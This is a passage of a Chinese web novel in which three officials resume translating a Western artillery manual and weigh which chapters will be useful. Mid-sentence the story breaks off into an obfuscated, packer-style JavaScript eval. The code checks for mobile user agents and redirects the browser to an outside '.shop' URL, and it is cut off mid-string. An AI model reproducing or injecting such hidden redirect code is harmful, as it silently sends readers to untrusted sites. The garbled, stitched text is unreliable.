许员外郎与陈录事对视一笑,并未多言。
三人重新跨过门槛,回了偏厅,各自回到长案前落座。
桌案上。
方才商议修改时的几张章程草稿还乱糟糟地散落着。舒冉赶忙伸手将其拢作一叠。
还好太子刚才只扫了一眼,没有细看。
“二位,咱们继续译书吧。”许员外郎道。
摊开那本尚未译完的西洋火炮书册,又翻出旬休前译出的手稿,许员外郎看了看,道:“这第二章的内容,不过是些如何清理炮膛,装填火药的规程,瞧着平平无奇,感觉能派上用场的地方不多啊。”
陈录事翻着书册前头的目录那页,接道:“这第四章关于火器的日常养护,还有第五章的防患与安全事宜,看起来倒是有些用处。”
舒冉刚用镇纸将收好的草稿压好,放到一边,眼不见心为净。
听到二人讨论,她点头道:“确实如此。不过咱们也不清楚大玄军中火器的具体填装法子,有没有用处不好分辨。还是按部就班直接译完,都交由薛提督来定夺吧。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|